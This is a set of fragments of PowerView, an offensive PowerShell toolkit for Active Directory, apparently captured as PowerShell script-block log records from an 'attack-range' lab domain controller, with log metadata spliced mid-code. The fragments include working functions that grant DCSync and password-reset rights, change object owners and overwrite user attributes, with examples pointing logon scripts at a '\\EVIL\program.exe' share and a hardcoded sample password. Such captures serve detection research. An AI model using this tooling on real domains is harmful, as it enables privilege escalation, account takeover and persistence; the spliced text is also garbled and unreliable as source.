SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$UserSID = Get-DomainUser user | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
Add-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID }
AceQualifier : AccessAllowed
ObjectDN : CN=user2,CN=Users,DC=testlab,DC=local
ActiveDirectoryRights : ExtendedRight
ObjectAceType : User-Force-Change-Password
ObjectSID : S-1-5-21-883232822-274137685-4173207997-2105
InheritanceFlags : None
BinaryLength : 56
AceType : AccessAllowedObject
ObjectAceFlags : ObjectAceTypePresent
IsCallback : False
PropagationFlags : None
SecurityIdentifier : S-1-5-21-883232822-274137685-4173207997-2104
AccessMask : 256
AuditFlags : None
IsInherited : False
AceFlags : None
InheritedObjectAceType : All
OpaqueLength : 0
Remove-DomainObjectAcl -TargetIdentity user2 -PrincipalIdentity user -Rights ResetPassword
Get-DomainObjectACL user2 -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $UserSID}
[no results returned]
.LINK
https://social.technet.microsoft.com/Forums/windowsserver/en-US/df3bfd33-c070-4a9c-be98-c4da6e591a0a/forum-faq-using-powershell-to-assign-permissions-on-active-directory-objects?forum=winserverpowershell
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$TargetIdentity,
[ValidateNotNullOrEmpty()]
[String]
$TargetDomain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$TargetLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$TargetSearchBase,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String[]]
$Principacb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118513Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1848ntifier]$OwnerSid
}
else {
Write-Warning "[Set-DomainObjectOwner] Error parsing owner identity '$OwnerIdentity'"
}
}
PROCESS {
if ($OwnerIdentityReference) {
$SearcherArguments['Raw'] = $True
$SearcherArguments['Identity'] = $Identity
# splat the appropriate arguments to Get-DomainObject
$RawObject = Get-DomainObject @SearcherArguments
ForEach ($Object in $RawObject) {
try {
Write-Verbose "[Set-DomainObjectOwner] Attempting to set the owner for '$Identity' to '$OwnerIdentity'"
$Entry = $RawObject.GetDirectoryEntry()
$Entry.PsBase.Options.SecurityMasks = 'Owner'
$Entry.PsBase.ObjectSecurity.SetOwner($OwnerIdentityReference)
$Entry.PsBase.CommitChanges()
}
catch {
Write-Warning "[Set-DomainObjectOwner] Error setting owner: $_"
}
}
}
}
}
function Get-DomainObjectAcl {
<#
.SYNOPSIS
Returns the ACLs associated with a specific active directory object. By default
the DACL for the object(s) is returned, but the SACL can be returned with -Sacl.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainGUIDMap
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Sacl
Switch. Return the SACL instead of the DACL for the object (default behavior).
.PARAMETER ResolveGUIDs
Switch. Resolve GUIDs to their display names.
.PARAMETER RightsFilter
A specific set of rights to return ('All', 'ResetPassword', 'WriteMembers').
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainObjectAcl -Identity matt.admin -domain testlab.local -ResolveGUIDs
Get the ACLs for the matt.admin user in the testlab.local domain and
resolve relevant GUIDs to their display names.
.EXAMPLE
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs
Enumerate the ACL permissions for all OUs in the domain.
.EXAMPLE
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs -Sacl
Enumerate the SACLs for all OUs in the domain, resolving GUIDs.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainObjectAcl -Credential $Cred -ResolveGUIDs
.OUTPUTS
PowerView.ACL
Custom PSObject with ACL entries.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.ACL')]
[CmdletBinding()]
Param (
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[Switch]
$Sacl,
[Switch]
$ResolveGUIDs,
[String]
[Alias('Rights')]
[ValidateSet('All', 'ResetPassword', 'WriteMembers')]
$RightsFilter,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'samaccountname,ntsecuritydescriptor,distinguishedname,objectsid'
}
if ($PSBoundParameters['Sacl']) {
$SearcherArguments['SecurityMasks'] = 'Sacl'
}
else {
$SearcherArguments['SecurityMasks'] = 'Dacl'
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$Searcher = Get-DomainSearcher @SearcherArguments
$DomainGUIDMapArguments = @{}
if ($PSBoundParameters['Domain']) { $DomainGUIDMapArguments['Domain'] = $Domain }
if ($PSBoundParameters['Server']) { $DomainGUIDMapArguments['Server'] = $Server }
if ($PSBoundParameters['ResultPageSize']) { $DomainGUIDMapArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $DomainGUIDMapArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Credential']) { $DomainGUIDMapArguments['Credential'] = $Credential }
# get a GUID -> name mapping
if ($PSBoundParameters['ResolveGUIDs']) {
$GUIDs = Get-DomainGUIDMap @DomainGUIDMapArguments
}
}
PROCESS {
if ($Searcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-.*') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^(CN|OU|DC)=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainObjectAcl] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$Searcher = Get-DomainSearcher @SearcherArguments
if (-not $Searcher) {
Write-Warning "[Get-DomainObjectAcl] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('.')) {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(dnshostname=$IdentityInstance))"
}
else {
$IdentityFilter += "(|(samAccountName=$IdentityInstance)(name=$IdentityInstance)(displayname=$IdentityInstance))"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainObjectAcl] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
if ($Filter) {
$Searcher.filter = "(&$Filter)"
}
Write-Verbose "[Get-DomainObjectAcl] Get-DomainObjectAcl filter string: $($Searcher.filter)"
$Results = $Searcher.FindAll()
$Results | Where-Object {$_} | ForEach-Object {
$Object = $_.Properties
if ($Object.objectsid -and $Object.objectsid[0]) {
$ObjectSid = (New-Object System.Security.Principal.SecurityIdentifier($Object.objectsid[0],0)).Value
}
else {
$ObjectSid = $Null
}
try {
New-Object Security.AccessControl.RawSecurityDescriptor -ArgumentList $Object['ntsecuritydescriptor'][0], 0 | ForEach-Object { if ($PSBoundParameters['Sacl']) {$_.SystemAcl} else {$_.DiscretionaryAcl} } | ForEach-Object {
if ($PSBoundParameters['RightsFilter']) {
$GuidFilter = Switch ($RightsFilter) {
'ResetPassword' { '00299570-246d-11d0-a768-00aa006e0529' }
'WriteMembers' { 'bf9679c0-0de6-11d0-a285-00aa003049e2' }
Default { '00000000-0000-0000-0000-000000000000' }
}
if ($_.ObjectType -eq $GuidFilter) {
$_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
$_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
$Continue = $True
}
}
else {
$_ | Add-Member NoteProperty 'ObjectDN' $Object.distinguishedname[0]
$_ | Add-Member NoteProperty 'ObjectSID' $ObjectSid
$Continue = $True
}
if ($Continue) {
$_ | Add-Member NoteProperty 'ActiveDirectoryRights' ([Enum]::ToObject([System.DirectoryServices.ActiveDirectoryRights], $_.AccessMask))
if ($GUIDs) {
# if we're resolving GUIDs, map them them to the resolved hash table
$AclProperties = @{}
$_.psobject.properties | ForEach-Object {
if ($_.Name -match 'ObjectType|InheritedObjectType|ObjectAceType|InheritedObjectAceType') {
try {
$AclProperties[$_.Name] = $GUIDs[$_.Value.toString()]
}
catch {
$AclProperties[$_.Name] = $_.Value
}
}
else {
$AclProperties[$_.Name] = $_.Value
}
}
$OutObject = New-Object -TypeName PSObject -Property $AclProperties
$OutObject.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
$OutObject
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.ACL')
$_
}
}
}
}
catch {
Write-Verbose "[Get-DomainObjectAcl] Error: $_"
}
}
}
}
}
function Add-DomainObjectAcl {
<#
.SYNOPSIS
Adds an ACL for a specific active directory object.
AdminSDHolder ACL approach from Sean Metcalf (@pyrotek3): https://adsecurity.org/?p=1906
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
This function modifies the ACL/ACE entries for a given Active Directory
target object specified by -TargetIdentity. Available -Rights are
'All', 'ResetPassword', 'WriteMembers', 'DCSync', or a manual extended
rights GUID can be set with -RightsGUID. These rights are granted on the target
object for the specified -PrincipalIdentity.
.PARAMETER TargetIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain object to modify ACLs for. Required. Wildcards accepted.
.PARAMETER TargetDomain
Specifies the domain for the TargetIdentity to use for the modification, defaults to the current domain.
.PARAMETER TargetLDAPFilter
Specifies an LDAP query string that is used to filter Active Directory object targets.
.PARAMETER TargetSearchBase
The LDAP source to search through for targets, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER PrincipalIdentity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
for the domain principal to add for the ACL. Required. Wildcards accepted.
.PARAMETER PrincipalDomain
Specifies the domain for the TargetIdentity to use for the principal, defaults to the current domain.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Rights
Rights to add for the principal, 'All', 'ResetPassword', 'WriteMembers', 'DCSync'.
Defaults to 'All'.
.PARAMETER RightsGUID
Manual GUID representing the right to add to the target.
.EXAMPLE
$Harmj0ySid = Get-DomainUser harmj0y | Select-Object -ExpandProperty objectsid
Get-DomainObjectACL dfm.a -ResolveGUIDs | Where-Object {$_.securityidentifier -eq $Harmj0ySid}
...
Add-DomainObjectAcl -TargetIdentity dfm.a -PrincipalIdentity harmj0y -Rights ResetPassword -Verbose
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.locb98747c-0055-4bdf-935c-79dfcbe66f11
4104132150x0118511Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1648ment.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{
'Properties' = 'msds-replvaluemetadata','distinguishedname'
'Raw' = $True
}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
if ($PSBoundParameters['Properties']) {
$PropertyFilter = $PSBoundParameters['Properties'] -Join '|'
}
else {
$PropertyFilter = ''
}
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
Get-DomainObject @SearcherArguments | ForEach-Object {
$ObjectDN = $_.Properties['distinguishedname'][0]
ForEach($XMLNode in $_.Properties['msds-replvaluemetadata']) {
$TempObject = [xml]$XMLNode | Select-Object -ExpandProperty 'DS_REPL_VALUE_META_DATA' -ErrorAction SilentlyContinue
if ($TempObject) {
if ($TempObject.pszAttributeName -Match $PropertyFilter) {
$Output = New-Object PSObject
$Output | Add-Member NoteProperty 'ObjectDN' $ObjectDN
$Output | Add-Member NoteProperty 'AttributeName' $TempObject.pszAttributeName
$Output | Add-Member NoteProperty 'AttributeValue' $TempObject.pszObjectDn
$Output | Add-Member NoteProperty 'TimeCreated' $TempObject.ftimeCreated
$Output | Add-Member NoteProperty 'TimeDeleted' $TempObject.ftimeDeleted
$Output | Add-Member NoteProperty 'LastOriginatingChange' $TempObject.ftimeLastOriginatingChange
$Output | Add-Member NoteProperty 'Version' $TempObject.dwVersion
$Output | Add-Member NoteProperty 'LastOriginatingDsaDN' $TempObject.pszLastOriginatingDsaDN
$Output.PSObject.TypeNames.Insert(0, 'PowerView.ADObjectLinkedAttributeHistory')
$Output
}
}
else {
Write-Verbose "[Get-DomainObjectLinkedAttributeHistory] Error retrieving 'msds-replvaluemetadata' for '$ObjectDN'"
}
}
}
}
}
function Set-DomainObject {
<#
.SYNOPSIS
Modifies a gven property for a specified active directory object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainObject
.DESCRIPTION
Splats user/object targeting parameters to Get-DomainObject, returning the raw
searchresult object. Retrieves the raw directoryentry for the object, and sets
any values from -Set @{}, XORs any values from -XOR @{}, and clears any values
from -Clear @().
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted.
.PARAMETER Set
Specifies values for one or more object properties (in the form of a hashtable) that will replace the current values.
.PARAMETER XOR
Specifies values for one or more object properties (in the form of a hashtable) that will XOR the current values.
.PARAMETER Clear
Specifies an array of object properties that will be cleared in the directory.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Set-DomainObject testuser -Set @{'mstsinitialprogram'='\\EVIL\program.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program.exe for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Set @{'countrycode'=1234; 'mstsinitialprogram'='\\EVIL\program2.exe'} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string:
(&(|(objectsid=S-1-5-21-890171859-3433809279-3366196753-1108)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object harmj0y
VERBOSE: Setting countrycode to 1234 for object harmj0y
VERBOSE: Get-DomainSearcher search string:
LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: Setting mstsinitialprogram to \\EVIL\program2.exe for object testuser
VERBOSE: Setting countrycode to 1234 for object testuser
.EXAMPLE
"S-1-5-21-890171859-3433809279-3366196753-1108","testuser" | Set-DomainObject -Clear department -Verbose
Cleares the 'department' field for both object identities.
.EXAMPLE
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
Set-DomainObject -Identity testuser -XOR @{useraccountcontrol=65536} -Verbose
VERBOSE: Get-DomainSearcher search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: Get-DomainObject filter string: (&(|(samAccountName=testuser)))
VERBOSE: XORing 'useraccountcontrol' with '65536' for object 'testuser'
Get-DomainUser testuser | ConvertFrom-UACValue -Verbose
Name Value
---- -----
NORMAL_ACCOUNT 512
DONT_EXPIRE_PASSWORD 65536
.EXAMPLE
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\primary\sysvol\blah.ps1
$SecPassword = ConvertTo-SecureString 'Password123!'-AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Set-DomainObject -Identity testuser -Set @{'scriptpath'='\\EVIL\program2.exe'} -Credential $Cred -Verbose
VERBOSE: [Get-Domain] Using alternate credentials for Get-Domain
VERBOSE: [Get-Domain] Extracted domain 'TESTLAB' from -Credential
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] Using alternate credentials for LDAP connection
VERBOSE: [Get-DomainObject] Get-DomainObject filter string: (&(|(|(samAccountName=testuser)(name=testuser))))
VERBOSE: [Set-DomainObject] Setting 'scriptpath' to '\\EVIL\program2.exe' for object 'testuser'
Get-DomainUser -Identity testuser -Properties scriptpath
scriptpath
----------
\\EVIL\program2.exe
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Position = 0, Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name')]
[String[]]
$Identity,
[ValidateNotNullOrEmpty()]
[Alias('Replace')]
[Hashtable]
$Set,
[ValidateNotNullOrEmpty()]
[Hashtable]
$XOR,
[ValidateNotNullOrEmpty()]
[String[]]
$Clear,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$SearcherArguments = @{'Raw' = $True}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
}
PROCESS {
if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
# splat the appropriate arguments to Get-DomainObject
$RawObject = Get-DomainObject @SearcherArguments
ForEach ($Object in $RawObject) {
$Entry = $RawObject.GetDirectoryEntry()
if($PSBoundParameters['Set']) {
try {
$PSBoundParameters['Set'].GetEnumerator() | ForEach-Object {
Write-Verbose "[Set-DomainObject] Setting '$($_.Name)' to '$($_.Value)' for object '$($RawObject.Properties.samaccountname)'"
$Entry.put($_.Name, $_.Value)
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error setting/replacing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['XOR']) {
try {
$PSBoundParameters['XOR'].GetEnumerator() | ForEach-Object {
$PropertyName = $_.Name
$PropertyXorValue = $_.Value
Write-Verbose "[Set-DomainObject] XORing '$PropertyName' with '$PropertyXorValue' for object '$($RawObject.Properties.samaccountname)'"
$TypeName = $Entry.$PropertyName[0].GetType().name
# UAC value references- https://support.microsoft.com/en-us/kb/305144
$PropertyValue = $($Entry.$PropertyName) -bxor $PropertyXorValue
$Entry.$PropertyName = $PropertyValue -as $TypeName
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error XOR'ing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
if($PSBoundParameters['Clear']) {
try {
$PSBoundParameters['Clear'] | ForEach-Object {
$PropertyName = $_
Write-Verbose "[Set-DomainObject] Clearing '$PropertyName' for object '$($RawObject.Properties.samaccountname)'"
$Entry.$PropertyName.clear()
}
$Entry.commitchanges()
}
catch {
Write-Warning "[Set-DomainObject] Error clearing properties for object '$($RawObject.Properties.samaccountname)' : $_"
}
}
}
}
}
function ConvertFrom-LDAPLogonHours {
<#
.SYNOPSIS
Converts the LDAP LogonHours array to a processible object.
Author: Lee Christensen (@tifkin_)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
Converts the LDAP LogonHours array to a processible object. Each entry
property in the output object corresponds to a day of the week and hour during
the day (in UTC) indicating whether or not the user can logon at the specified
hour.
.PARAMETER LogonHoursArray
21-byte LDAP hours array.
.EXAMPLE
$hours = (Get-DomainUser -LDAPFilter 'userworkstations=*')[0].logonhours
ConvertFrom-LDAPLogonHours $hours
Gets the logonhours array from the first AD user with logon restrictions.
.OUTPUTS
PowerView.LogonHours
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonHours')]
[CmdletBinding()]
Param (
[Parameter( ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[ValidateNotNullOrEmpty()]
[byte[]]
$LogonHoursArray
)
Begin {
if($LogonHoursArray.Count -ne 21) {
throw "LogonHoursArray is the incorrect length"
}
function ConvertTo-LogonHoursArray {
Param (
[int[]]
$HoursArr
)
$LogonHours = New-Object bool[] 24
for($i=0; $i -lt 3; $i++) {
$Byte = $HoursArr[$i]
$Offset = $i * 8
$Str = [Convert]::ToString($Byte,2).PadLeft(8,'0')
$LogonHours[$Offset+0] = [bool] [convert]::ToInt32([string]$Str[7])
$LogonHours[$Offset+1] = [bool] [convert]::ToInt32([string]$Str[6])
$LogonHours[$Offset+2] = [bool] [convert]::ToInt32([string]$Str[5])
$LogonHours[$Offset+3] = [bool] [convert]::ToInt32([string]$Str[4])
